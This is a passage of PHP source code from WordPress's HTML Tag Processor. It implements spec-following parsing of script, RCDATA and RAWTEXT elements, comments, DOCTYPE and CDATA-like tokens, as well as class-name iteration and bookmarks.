		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
